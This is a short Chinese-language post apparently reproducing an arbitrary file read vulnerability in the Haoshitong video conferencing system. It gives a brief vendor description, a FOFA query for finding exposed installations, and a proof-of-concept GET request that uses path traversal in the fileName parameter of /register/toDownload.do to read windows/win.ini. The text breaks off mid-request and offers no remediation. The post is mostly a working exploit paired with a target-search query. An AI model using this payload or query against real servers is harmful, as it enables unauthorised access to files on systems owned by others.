好视通专题

好视通视频会议系统存在任意文件读取漏洞复现 [附POC]

漏洞简介 好视通视频会议是由深圳市华视瑞通信息技术有限公司开发,其在国内率先推出了3G互联网视频会议,并成功应用于SAAS领域。 资产 FOFA:app="好视通-视频会议" POC GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP